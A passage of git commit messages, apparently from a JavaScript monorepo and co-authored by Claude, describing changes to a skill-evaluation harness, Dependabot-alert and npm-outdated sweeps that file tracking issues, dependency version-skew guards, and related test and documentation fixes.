`CHAIN_THRESHOLD` rationale in `scripts/skill-eval.mjs`, which cites the
33% measurement as the reason the bar is 0.5 rather than 0.8. The bar is
unchanged — a reshaped pointer raises the ceiling those two cases reach,
not the floor a new hand-off case should be judged against.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EQVdemwgUhh45yzeaRSLhW
Signed-off-by: cliffhall <cliff@futurescale.com>
`clients/cli` resolved `@types/node` 24.13.1 against the root's 24.13.3.
Neither client declares it — #2196 consolidated it to the root — so the cli
copy arrived transitively via `@types/express` and was constrained by no
range of ours. `verify:dep-lockstep` reported OK and was right to: it
compares only packages that reach one `tsc` **program** from two installs,
and no one program sees both copies.
Fixes the instance and the class, which the issue notes are not exclusive.
**The class.** The guard grows a second tier alongside the program-derived
one, asking the weaker but broader question `AGENTS.md`'s "one version per
install-crossing dependency" rule actually states: does a package this repo
declares anywhere resolve to two versions across our installs at all? The
candidate set is every name in any install's `dependencies`/`devDependencies`
that more than one install holds a **top-level** copy of — 17 packages today.
Nested copies are excluded: one exists because some dependency asked for a
different version, so it is that dependency's range, not ours.
Neither tier subsumes the other. The program tier sees a copy no manifest
names (the `@modelcontextprotocol/sdk` case, arriving through another
package's `.d.ts`). The declared tier sees a transitive copy no program
loads (this issue), two *clients* disagreeing with no root copy involved
(`@types/react`, web against tui), and the peer shadows `AGENTS.md` calls out
as ungated — `eslint`, `typescript`, `vitest`.
Deny-by-default, with its own empty `TOLERATED_DECLARED_SKEW` and the same
within-a-major rule, now stated once in a shared `toleratesSkew` so the two
tiers cannot drift.
**The instance, and three others the new tier surfaced.** All four were
patch-level:
- `@types/node` — cli 24.13.1 vs root 24.13.3. Transitive, so it takes an
`overrides` entry in `clients/cli` (the repo's sanctioned lever for a
transitive pin), at the root's own `^24.12.4` rather than a frozen number.
- `@types/react` — web 19.2.18 vs tui 19.2.17.
- `react` — web 19.2.8 vs root/tui 19.2.7.
- `@vitejs/plugin-react` — web 6.0.5 vs root 6.0.2.
The last three are `npm update` in the stale install: it moves the lockfile
within the declared range without widening a range, which matters for the
root `react ^19.0.0` that `ink`'s externalized-bundle exemption depends on.
No declaration or range changed.
Tests: 4 end-to-end cases (the fixture gains manifest deps and a client-side
`solo` install, so the skew is real and no program holds both copies) and 13
helper cases.
Closes#2226
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01J86a6vMcA9csPtdsg7ZcCZ
Signed-off-by: cliffhall <cliff@futurescale.com>
One finding, and a sharp one: position in the stream is not causation.
`collectSkillInvocations` flattened every `tool_use` block across every
assistant event into one ordered array, and `chainHit` read position
alone. But the model can emit several `Skill` blocks in a SINGLE assistant
message, and it has not seen the first skill's body when it does — those
are parallel guesses, not a hand-off. A run that emitted `testing` and
`test-servers` together in one message scored as `A` led to `B`, and would
have gone on scoring after the pointer in `testing`'s body was deleted:
exactly the false pass this feature exists to rule out, arriving by a
second route (Copilot).
Each recorded invocation now carries the assistant event it came from —
`{payload, turn}` — and `chainHit` requires every link after the first to
land in a STRICTLY later turn. The turn count is threaded through
`collectSkillInvocations`'s `turnOffset`/`nextTurn` so a stream read in
chunks stays monotonic rather than restarting per read; without that, a
chunk boundary would reset the numbering and reintroduce the same bug on
long runs.
The scan stays greedy, which is still correct under the constraint: taking
the earliest occurrence of a link can only leave more room for the rest,
so no later starting point succeeds where the greedy one fails.
`sampleHit` is deliberately unaffected — a first-move case asks only
whether a skill fired at all, so it reads names and ignores turns.
Four new assertions in one case: a same-turn pair scores false; the same
two skills a turn apart score true; a same-turn pair does not poison a
later genuine hand-off; and only the chain's first link is unconstrained.
Plus a `collectSkillInvocations` case pinning the turn tagging and the
cross-chunk offset.
`docs/skill-authoring.md` now lists this as the second way a chained case
can false-pass, alongside a prompt carrying the target's own trigger.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01ABdTnqyBodw6mHVVkGehqe
Signed-off-by: cliffhall <cliff@futurescale.com>
Two findings, both correct, and the first one means round 1's containment
fix was only half a fix.
**`--allowedTools` is not the availability filter.** It grants permission;
it does not restrict which tools exist. So a tool a user's or a plugin's
settings already permit stayed reachable across all 14 turns, and the
bound still rested on the deny list being complete — the exact property
round 1 set out to stop depending on. `--tools` is the real restriction
(it selects from the built-in set), and both flags now carry the same
four names: `--tools` to bound, `--allowedTools` so those four never need
a permission prompt no headless run can answer. Verified against the real
CLI — the full flag set runs to a clean `end_turn`. The test asserts both
flags, and both probe snippets in `docs/skill-authoring.md` carry
`--tools` with a ⚠️ saying which one does the bounding.
**The threshold guard let `NaN` and negatives through.**
`CHAIN_THRESHOLD=abc` is `NaN`, which fails every comparison and prints an
`above NaN%` summary; a negative bar passes every chain unconditionally.
Both turn an advertised env knob into a measurement that quietly means
nothing. `CHAIN_THRESHOLD` must now be in `[0, 1)` — half-open because the
chain bar is strict — and `THRESHOLD` in `[0, 1]`, inclusive because a
first-move floor of 1.0 is meetable. The message names the offending
value. A new case spawns the script for each bad value rather than
asserting on the predicate, since these guards live in `main`.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01ABdTnqyBodw6mHVVkGehqe
Signed-off-by: cliffhall <cliff@futurescale.com>
Five findings, all real.
**The chain prompts carried the target skill's own trigger.** `test-servers`
claims "a change needs a real server to exercise it", and both cases said
"against a real/live server" — so the model could load `testing`, then pick
`test-servers` from the ORIGINAL prompt, in that order, and score a hit that
would have survived deleting the pointer from `testing` entirely. Rewritten to
carry no server cue ("end to end"), and the measured rate fell from 100% / 67%
to 33% / 33%. That is the size of the artefact, and 33% is what the pointer
alone is worth. Both cases are now red against the 0.5 bar and stay that way:
`skills:eval` is not a gate, the number IS the finding, and lowering the bar to
turn the column green would discard the only signal this feature adds. Filed as
#2247 with the trap written down so a fix cannot re-measure the artefact.
**A deny list cannot bound a 14-turn run.** It only names tools known when it
was written, and this checkout configures an HTTP `mcp-docs` server in
`.mcp.json` while a contributor's own MCP servers and plugins add more. Now
`--allowedTools Read,Glob,Grep,Skill` (what the harness actually needs) plus
`--strict-mcp-config` with no `--mcp-config`, which drops every configured
server. The deny list stays alongside, since a deny is unconditional while an
allow list governs pre-approval. What remains outside all three is a
contributor's plugin tools; `--bare` would remove those and skills with them,
which would measure nothing — so that residual is stated rather than papered
over.
**The chain threshold compared inclusively.** "More often than not" is `> 0.5`,
and `>=` passes exactly half whenever RUNS is even — 2/4 would report a result
the criterion does not license. `passesThreshold` is now strict for chains and a
floor for first moves, and a strict bound of 1.0 is rejected up front rather
than failing every case while looking like a trigger problem.
**The doc's probe command still denied only four tools**, contradicting the
section's own promise that a probe and a scored case see the same policy.
Updated, with a note that it must move with the harness, plus a hand-off probe
form.
**The reporting had no automated coverage** — the one thing that could silently
merge the two measurements lived inside `main`. Extracted as `formatReport` and
tested: both headings, per-group thresholds, the two separate summaries, the
combined exit, and both single-kind selections.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01ABdTnqyBodw6mHVVkGehqe
Signed-off-by: cliffhall <cliff@futurescale.com>
`skills:eval` ran every case with `--max-turns 1`, so it measured one
thing: whether a skill is the model's FIRST tool call. That is right for a
skill a user reaches directly, and it leaves a whole class unmeasured — a
skill reached from inside another skill's body. `testing` tells the model
that picking a fixture is `/test-servers` and that it has to load it, and
`test-servers` scores 5/5 while every one of those five cases asks for it
by name. A skill only ever reachable through a hand-off would score a
clean 100% with the hand-off silently never firing.
An eval case is now one of two shapes, and exactly one:
{ "prompt": "…", "expect": "test-servers" } first move, 1 turn
{ "prompt": "…", "chain": ["testing", "test-servers"] } hand-off, 14 turns
A chain must END with the skill whose file it lives in. The case exists to
measure whether THIS skill is reachable, so the file that goes red is the
one belonging to the skill that stopped being reached; anchoring on the
first link would file a `test-servers` measurement under `testing`, where
a `test-servers` description edit would never be seen. Links are checked
against the repo's model-invoked set, which is why both `verify:skills`
and `collectCases` now validate in a second pass — `test-servers` sorts
before `testing`, so a per-directory check would reject a live chain as
unknown purely because of where the alphabet put it.
Scoring is an ordered SUBSEQUENCE, not a prefix and not a contiguous run:
the model may load something before the chain starts and something
unrelated in between, and neither changes the claim that A led to B.
`collectSkillInvocations` therefore returns an ordered array rather than a
Set — a B, A, B run has to stay distinguishable from one that never
reached B from A.
The two rates are reported in separate columns and never summed. A
hand-off is a second-hop load over many turns; a first-move rate is the
model's opening move. `CHAIN_MAX_TURNS` (14) and `CHAIN_THRESHOLD` are
their own knobs for the same reason, and `CHAIN_THRESHOLD` defaults to
**0.5** rather than inheriting 0.8: see the measurement below.
Read-only containment no longer leans on `--max-turns 1`, which was doing
much of it by itself. The deny list gains the agentic and network tools —
`Task` in particular, whose subagent the flag does not reach.
Measured, `skills:eval -- test-servers`:
First move (1 turn) 7/7 at 100%, unchanged
Hand-off (14 turns) 67% and 33% at RUNS=3
So the hand-off is real and unreliable — which is the fact nothing could
observe before this change, and the reason 0.5 rather than 0.8 is the
default bar: at 0.8 both committed cases are red no matter how strongly
the first skill points at the second, and the column stops carrying
signal. A `["pr-flow", "test-servers"]` probe measured 0% and was dropped
rather than kept: `pr-flow` says nothing about fixtures, so the case had
no lever short of broadening a description onto another skill's ground.
Both findings are written up in `docs/skill-authoring.md`.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01ABdTnqyBodw6mHVVkGehqe
Signed-off-by: cliffhall <cliff@futurescale.com>
Record each advisory's disposition during the loop instead of deriving
"can this be filed?" from the groups beforehand.
Membership in a group only means an alert exists. Whether an issue
tracks it is decided by the ecosystem check, the manifest read and the
range probe that follow — so if GitHub revised first_patched_version
while that manifest happened to be unparseable, the replacement group
was skipped and the old-key issue was still cleared as "superseded",
claiming an issue that was never filed.
Each advisory is now noted as tracked, not-exposed or indeterminate as
the loop reaches it, and reconciliation refuses to clear while anything
still open is indeterminate or absent. That also splits the clear reason
honestly: a bump whose copies simply left range now says so, rather than
claiming a replacement issue exists.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
- Reconcile on (package, manifest, GHSA) tuples, not GHSAs alone.
Dependabot alerts are per manifest and this repo has five lockfiles,
so the same advisory legitimately covers the root install and a
client. Keyed on the GHSA alone, another manifest's still-filable
alert could vouch for this one and clear an issue whose own alert is
open with no bump available.
- Rename the cleared-date test: it asserts the NEW date is taken when
the reason changes, which is the opposite of what its name said.
- AGENTS.md no longer implies both sweeps select a dated milestone.
Only the security sweep filters undated buckets; the monthly one's
selection is raised on #2239.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
Three findings, all of them the same invariant reached by new routes: a
still-open advisory must never stand itself down, and a cleared issue
must be written once.
- Never clear an advisory that is open but unpatched. groupAlerts drops
an alert with no first_patched_version, so it has no replacement
group and no replacement issue — calling it "superseded" was false
and clearing it removed the only thing tracking a live exposure. Such
an issue is now left exactly as it is, and said so in the log.
- Stop re-editing cleared issues daily. A cleared issue stays open, so
the next run regenerated its body with a new date and edited it
again, forever. The date is now read back off the existing body, so
only a real change writes — and a real change takes today's date.
- Distinguish an absent manifest from an unparseable one. Both returned
null, so a malformed lockfile was treated as "the manifest is gone"
and cleared the issue. A read error is evidence of nothing.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
Build the open-GHSA set from the raw alert feed, not from the grouped
alerts. groupAlerts deliberately drops an alert with no
first_patched_version, so an advisory that stays OPEN but loses its
patched version vanished from both the keys and that set — and
reconciliation would have called it "fixed or dismissed".
Same wrong direction as the superseded case fixed last round, reached a
different way: a still-open advisory must never stand itself down.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
- Filter to the npm ecosystem. Dependabot alerts are not npm-only and
this repo has a Dockerfile, so an alert against it would have been
parsed as a lockfile, thrown, and aborted the whole daily sweep
before any npm group ran. A non-npm alert is now reported loudly with
its GHSAs so a human can file it, and readManifest no longer lets one
unparseable manifest take the run down.
- Distinguish a superseded bump from a closed one. GitHub can revise
first_patched_version, moving an advisory to a different key while it
stays open; reporting that as "fixed or dismissed" would stand down a
live exposure. The reason now reads from the open GHSA set.
- Only claim security-update PRs are off when the run actually read the
setting. The guard degrades to UNVERIFIED, and an issue asserting
what the run could not confirm is worse than one that stays quiet.
- README.md and AGENTS.md: scripts/ now holds repo automation run from
CI, not only build/verify tooling.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
Three reviews I missed: my poll called the reviews endpoint without
--paginate, so it only ever read page one — the same pagination bug
this PR was reviewed for.
- Reconcile marked issues whose bump has left the open alert feed
entirely. openAlerts asks for state=open, so a fixed or dismissed
alert simply vanishes: its group is never built, the loop never
visits it, and its issue kept asserting a vulnerability with a live
Todo/High card. Both cases are covered — the zero-alert run, which
used to return before loading issues at all, and a vanished group
while other groups remain.
- Ask for a PARENT-SCOPED overrides entry when the package is also
declared directly. npm rejects an override contradicting a direct
dependency with EOVERRIDE, so the guidance for the mixed case would
not have applied. The issue now prints the exact nested JSON.
- Correct the body's NOTE: severity, range, GHSA and CVE are the
advisory's own. Only the installed versions, their paths and range
applicability are verified against v2/main.
- Stop the new-advisory comment claiming the body marker "now covers"
the advisory; it is posted before the edit, so that is false at
posting time. It speaks for its own marker instead.
- Cover the successful two-field board placement, not only its failure
modes.
- AGENTS.md: the monthly sweep NEVER boards; only the security sweep
does, and only with a PAT. The old wording promised a card the
monthly job cannot create.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
Both findings are consequences of round 6's staleness fix, in the two
places it did not reach.
- Resolve the matching open issue BEFORE the skip paths, and rewrite it
to a cleared state when the exposure is gone. Yesterday's issue is
still open today, so a manifest that has since been removed or copies
that have moved out of range left its body asserting a vulnerability
that no longer exists and its Todo/High card live indefinitely. The
marker is retained so the issue is reused if the advisory returns; the
issue is not auto-closed, because whether the card belongs in Done or
should be deleted depends on why the exposure went away.
- The body's prose counted the marker's monotonic history rather than
the advisories that apply, so it could claim two open alerts while the
title and table correctly showed one.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
Both were suppressed "previously missed" findings, and both were real.
- isPermissionDenied matched on status alone, so a rate limit (also a
403) and a bad token (401) were waved through as "missing scope" —
contradicting the comment right above it, which said those must stop
the sweep. It now excludes rate-limit wording and drops 401.
- The no-op path asked "were advisories ADDED?" when the question is
"did the issue CHANGE?". An issue filed for A+B whose branch moved so
only B applies has nothing added, yet its table, severity, affected
copies and remediation are all stale. The rendered title and body are
now compared against the issue, and a comment stays reserved for
genuinely new advisories.
- The title counts the advisories that APPLY, matching the body, so it
tracks shrinking exposure as well as growth. The marker's GHSA list
stays monotonic — its job is to remember what has been announced.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
Both findings were "previously missed" suppressed ones; the two against
scripts/dependency-refresh.mjs and its workflow are relayed to #2239.
- Serialize the sweep with a fixed concurrency group and
cancel-in-progress: false. The marker check is a read-before-write and
a workflow_dispatch can land on top of the scheduled run, so two runs
could both see no open issue and both file one — the duplicate the
whole idempotency design exists to prevent. The queued run must wait
and re-read, never be cancelled.
- Pick the milestone in JS, not in jq. jq sorts null before every
string, so sort_by(.due_on) | .[0] returns an UNDATED open milestone
in preference to every dated one. An undated bucket has no due date
and so cannot be the nearest; pickMilestone drops it, and files the
issue unmilestoned if nothing dated is open.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
- Narrow each group to the advisories the installed copies are actually
in range of. Two advisories can share a package, manifest and patched
version while having different vulnerable ranges, so a group-level
"does any match?" left the marker, title, severity and table all
claiming an advisory that does not apply on this branch.
- Escape every free-form Markdown cell, the vulnerable range included.
A semver range may contain `||`, which is also the column separator.
- Paginate the open-issue lookup instead of capping it at 100. The
marker lookup is what makes the sweep idempotent, so a truncated list
would file a duplicate for every issue it could not see — at the same
scale the alert fetch is built to handle. Pull requests, which the
issues endpoint also returns, are dropped.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
Derive the remediation from WHICH copies are vulnerable, not from
whether the package is declared. A manifest can declare a safe `pkg@4`
while a dependency drags a vulnerable `pkg@3` into a nested folder; the
old boolean called that "direct" and asked for a range bump that would
have changed nothing, omitting the override the nested copy needs.
- `lockfileEntries` keeps each copy's tree path and whether it is the
hoisted one; `lockfileVersions` is now derived from it.
- `remediation(affected, declared)` returns both flags, so the issue can
ask for a range bump, an overrides pin, or explicitly both. The body
lists the vulnerable copies and their paths.
- An undeclared hoisted copy counts as transitive: it got there the same
way any other transitive copy did, and no declared range reaches it.
(Found by a test written for this change.)
The `vulnerability-alerts: read` finding is declined — verified against
a real runner, which reports `VulnerabilityAlerts: read` and reads the
alerts successfully. See the PR comment for the log.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
- Remove the literal NUL bytes that were separating the grouping key's
fields; they classified the whole source file as binary, so repo
searches skipped it. The key is a JSON array now, with no separator
left to justify.
- De-duplicate advisory comments per GHSA rather than per whole set. A
run that comments and then fails before the marker edit left the next
run computing a different set, which matched nothing and announced the
same advisory twice.
- Refresh the issue title on edit; it carries the advisory count, so it
went stale as soon as an issue grew past what it was filed with.
- Correct the test file's header, which still claimed main() was left
to workflow_dispatch.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
- `--slurp` the paginated alert feed; a bare `--paginate` emits one JSON
array per page and `JSON.parse` rejects it past 100 open alerts.
- Put `fixedIn` in the marker and in the existing-issue lookup, so a
second bump of one package cannot merge into the first one's issue.
- Only an authorization-shaped failure of the `automated-security-fixes`
read becomes UNVERIFIED; a rate limit or 5xx now throws.
- Distinguish "card never added" (benign, triage picks it up) from
"card added, field not set" — the latter finishes every group, then
fails the run.
- Don't board an unmilestoned issue at Todo; `Incoming` <=> no milestone.
- Comment before rewriting the marker, and give the comment its own
marker, so a failed comment cannot be skipped forever.
- Ask a direct dependency's range to be raised, not widened to `>=`.
- Test `main()` through an injected spawn, as the sibling sweep does.
- Correct the docs that named the removed release-time `npm audit fix`,
the ones promising an unconditional guard, and the sibling sweep's
issue body claiming security updates remain enabled.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
Closes#2233 — the alert-consuming half of #2229. #2235 removed
`.github/dependabot.yml`, ending Dependabot's version-update PRs; this
ends its security-update PRs and replaces them with a daily sweep that
turns the alerts into ordinary board items.
- `scripts/dependabot-alerts.mjs` groups alerts by
`(package, manifest_path, first_patched_version)` — one issue per
BUMP, not per advisory — re-checks each vulnerable range against
`v2/main`'s own lockfile before filing, and keys idempotency on a
marker comment naming every GHSA the issue covers.
- `.github/workflows/dependabot-alerts.yml` runs it daily and on
`workflow_dispatch`, with `vulnerability-alerts: read`.
- `semver` is declared at the repo root, per Dependency placement:
`scripts/` is root-owned code with no manifest of its own.
- The sibling `dependency-refresh` comments no longer claim security
updates are unaffected, and AGENTS.md gains the flow both halves
now follow.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013H6Cew3KB3jVmQ5x4Dq1sq
Signed-off-by: cliffhall <cliff@futurescale.com>
Addresses Copilot review round 7 on #2239.
The lookup read one page of 100 and the doc comment justified it with an
assumption rather than a guarantee: "the greatest version is within it
for any real action". The list is ordered by release DATE, not version,
so an action that keeps cutting maintenance releases on lower majors
pushes the genuine maximum off page 1. Ranking what remained would
report a lower major as highest — the exact false-current result that
dropping `releases/latest` in round 3 was meant to prevent, arrived at
by a different route.
Now passes `--paginate`. Cost is unchanged for every action this repo
uses (57 and 64 releases are the largest, so still one request each);
it only costs more where correctness actually required it.
The command-shape test now requires `--paginate` as well as the list
endpoint. It has to: pagination is invisible in the result — one page
and every page return an identical-looking tag list until the day they
do not — so nothing about the returned value can detect its absence.
Verified by mutation: removing `--paginate` fails exactly one test.
Adding the flag also moved the URL out of args[1], which the test's own
filter had hardcoded — it caught that itself. Both the filter and
fakeSpawn's matcher are now argument-position agnostic.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NGtzPg3UxMLszysQXXfqax
Signed-off-by: cliffhall <cliff@futurescale.com>
Addresses Copilot review round 5 on #2239.
Round 4 made every non-zero release-list response fatal and deleted
`isMissingRelease`, but `latestReleaseTag`'s JSDoc still promised
`@throws when the lookup fails for any reason other than a 404` — the
exact behavior that change removed. The PR description carried the same
stale claim.
A contract that documents the opposite of the code is worse than none:
the next reader reasonably trusts it, and here it would tell them a
missing action repo is silently tolerated when it now fails the sweep.
The contract now reserves `null` for a successful response carrying no
usable release — an action that has never cut one, or whose tags are all
unparseable — and states that a failed lookup is never `null`.
Documentation only; no behavior change, and the 29 tests are untouched.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NGtzPg3UxMLszysQXXfqax
Signed-off-by: cliffhall <cliff@futurescale.com>
Addresses Copilot review round 4 on #2239. Both findings are regressions
I introduced in round 3 and both are correct.
Round 3 moved the lookup from `releases/latest` to the release LIST, to
rank by version rather than by GitHub's designated latest — but kept the
404 suppression that only made sense for the old endpoint. The list
endpoint answers "this action cuts no releases" with a successful empty
array, so a 404 there does not mean that at all: it means the repository
is missing or inaccessible, i.e. a `uses:` ref the sweep cannot check.
Converting it to null silently dropped a broken or renamed action from
the flow that replaced Dependabot — the same silent-success shape this
PR has been closing everywhere else, reintroduced one layer down.
Every non-zero status is now fatal and `isMissingRelease` is gone
entirely; the benign no-releases case is the successful empty array,
covered by its own test.
`buildClearedBody` also overstated its all-clear. Refs pinned to a commit
SHA or a branch return null from `parseVersionRef` and are never ranked,
so "no workflow `uses:` ref is behind" asserted a check that had not
happened for them. It now says version-pinned refs and names the
exclusion explicitly.
Both guards are mutation-checked: restoring the 404 suppression, and
dropping the SHA/branch qualification, each fail exactly one test.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NGtzPg3UxMLszysQXXfqax
Signed-off-by: cliffhall <cliff@futurescale.com>
Closes#2235.
Switches the old dependency flow off now that #2232 landed the
replacement. Removes the five npm ecosystem entries (root plus each
client under clients/*) and, resolving the question #2229 left open, the
github-actions entry as well — so .github/dependabot.yml goes away
outright rather than being emptied, which its schema does not allow.
The github-actions entry had exactly the property #2229 exists to
remove: it opened a grouped monthly PR carrying no `Closes #N` and no
board card, the one standing exception to "every PR references an
issue". Deleting it unreplaced would have left 9 actions unwatched, and
`npm outdated` says nothing about actions, so the monthly sweep now also
checks every `uses:` ref under .github/workflows and renders the stale
ones as one more section of the same tracking issue.
Ranking comes from the release LIST, not `releases/latest`. That
endpoint returns the release GitHub designates most recent, not the
greatest version, so an action publishing a maintenance release for an
older major (a v6.9.1 cut after v8.0.0) would make a workflow pinned to
v7 compare against v6 and read as current — silently missing a whole
major upgrade, the one thing this check exists to catch.
Staleness is compared only to the precision the ref specifies. `v7` is a
moving major tag that GitHub repoints at every v7.x release, so `v7`
against a highest of `v7.0.1` is current and only `v8` makes it stale;
an exactly-pinned `v7.0.0` is behind `v7.0.1`; a SHA pin is deliberately
immovable and is never reported.
A release lookup suppresses only a 404 — the legitimate "this action has
never cut a release" answer — and throws on anything else. Treating a
rate limit or an expired token as "no release" is indistinguishable from
"not stale", and since every action here already sits on its latest
major, the resulting empty section is byte-identical to a healthy run.
`buildClearedBody` now speaks for both halves: once actions are in scope,
its npm-only wording would assert a clean bill of health the sweep never
checked.
Dependabot security updates are unaffected — they are configured in repo
settings, not in this file, and kept working while it was missing
entirely (#1833, #1840). That note moves into the workflow header rather
than dying with the file; #2233 is where they are turned off
deliberately. The script header, the workflow header and the generated
issue body all say version-update PRs rather than claiming Dependabot is
replaced wholesale.
Also renames the workflow's npm-outdated job to dependency-sweep now
that the sweep is no longer npm-only.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NGtzPg3UxMLszysQXXfqax
Signed-off-by: cliffhall <cliff@futurescale.com>
`main refuses to run without a repo` called `main(undefined, …)` so the default
parameter would fire, then asserted it throws. The default reads
`process.env.GITHUB_REPOSITORY` — which GitHub Actions sets on every run — so
the assertion held only where the variable happened to be unset. It passed
locally and failed CI, the one environment where the default is always
populated.
The test now clears the variable and restores it, and a second test covers the
other half of the default: with it set, `main(undefined, …)` uses it instead of
throwing. Between them the default's behavior is pinned in both environments
rather than inherited from whichever one is running.
Verified both ways: 14 pass with the variable unset and with it set, and the
full `test:scripts` suite is 411/411 under the CI environment shape.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01RWMJENjs1mExXE5XPJTEei
Signed-off-by: cliffhall <cliff@futurescale.com>
Five findings, all valid.
`runOutdated` accepted every exit status and returned `result.stdout ?? ""`.
A failed `npm outdated` (exit 2 on a registry or config error) also prints
nothing, so the empty string parsed to an empty package list — and across five
installs a total outage produced output byte-identical to a clean sweep. It now
throws on any status other than the documented 0/1.
`main()` was untested, which is how that reached review: the helper-only suite
passed while the silent-success path was live. It now takes its spawn function
as a parameter and is driven by a fake, covering npm failure, create vs. edit,
milestone handling, both no-op paths and the missing-repo guard.
The no-op path returned before looking for the marker issue, so once every
install caught up, a still-open tracking issue kept its obsolete package table
indefinitely — contradicting the body's own promise to update in place. It now
rewrites through `buildClearedBody()`. It deliberately does not close the
issue: the sweep takes no board actions, and closing one whose card a
maintainer may have moved would make the board assert work shipped that this
script cannot verify shipped.
The release step mandated `npm audit fix`, which AGENTS.md forbids. The reason
is not `--force`: plain `audit fix` resolves an advisory with no upward escape
in range by silently downgrading, as it did to esbuild across three installs in
#2058, and `local:gate` has no version-regression check to catch it. The step
is now `npm audit` report-only, with fixes applied deliberately via a direct
bump or an `overrides` entry.
An unmilestoned issue is swept into Incoming, not Todo — Todo asserts a
maintainer signed off. Message corrected and pinned by a test.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01RWMJENjs1mExXE5XPJTEei
Signed-off-by: cliffhall <cliff@futurescale.com>
The npm-entry removal in `.github/dependabot.yml` is split out of this PR so
that every change to that one file lands in a single reviewable piece —
alongside the `github-actions` entry, which #2229 had declared out of scope but
which opens the same issue-less, board-cardless PR the decision exists to
remove.
Reverts `.github/dependabot.yml` to its `v2/main` state, leaving this PR with
the release-time `npm audit fix` and the monthly `npm outdated` sweep: the
replacement flow, not the switch-off.
Both new files' header comments claimed the switch-off had already happened,
which is false until #2235 lands. They now say #2235 does it, and that until
then Dependabot's npm PRs and this sweep overlap — duplicate signal rather than
conflicting action.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01RWMJENjs1mExXE5XPJTEei
Signed-off-by: cliffhall <cliff@futurescale.com>
Adds npm audit fix (root + every client) as the first sub-step of the
release skill's bump step, before npm version, so a release is never
gated on remembering to check separately. Never --force; anything
audit fix can't resolve is left to the dependabot-alert pipeline
(#2229) or a follow-up issue.
Disables Dependabot npm version updates in dependabot.yml (a
version-update PR carries no issue and no board card) and replaces
them with a monthly scheduled sweep that runs npm outdated across the
root install and every client, filing or updating one idempotent
tracking issue instead of an auto-generated PR.
Closes#2231
Part of #2229
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017N9ha27Qg6LHpBQP7G7zPY
Signed-off-by: cliffhall <cliff@futurescale.com>
Restrict the truncation guard to PLAIN scalars. `yaml` attaches a legitimate
trailing comment to quoted and block scalars too, so keying on `.comment` alone
rejected valid frontmatter — `description: "Complete value" # note` was reported
as truncated, telling the author to quote a value that was already quoted. The
regex this replaced tested the same thing by reading the first character; moving
to the node dropped the check rather than encoding it. Verified all three
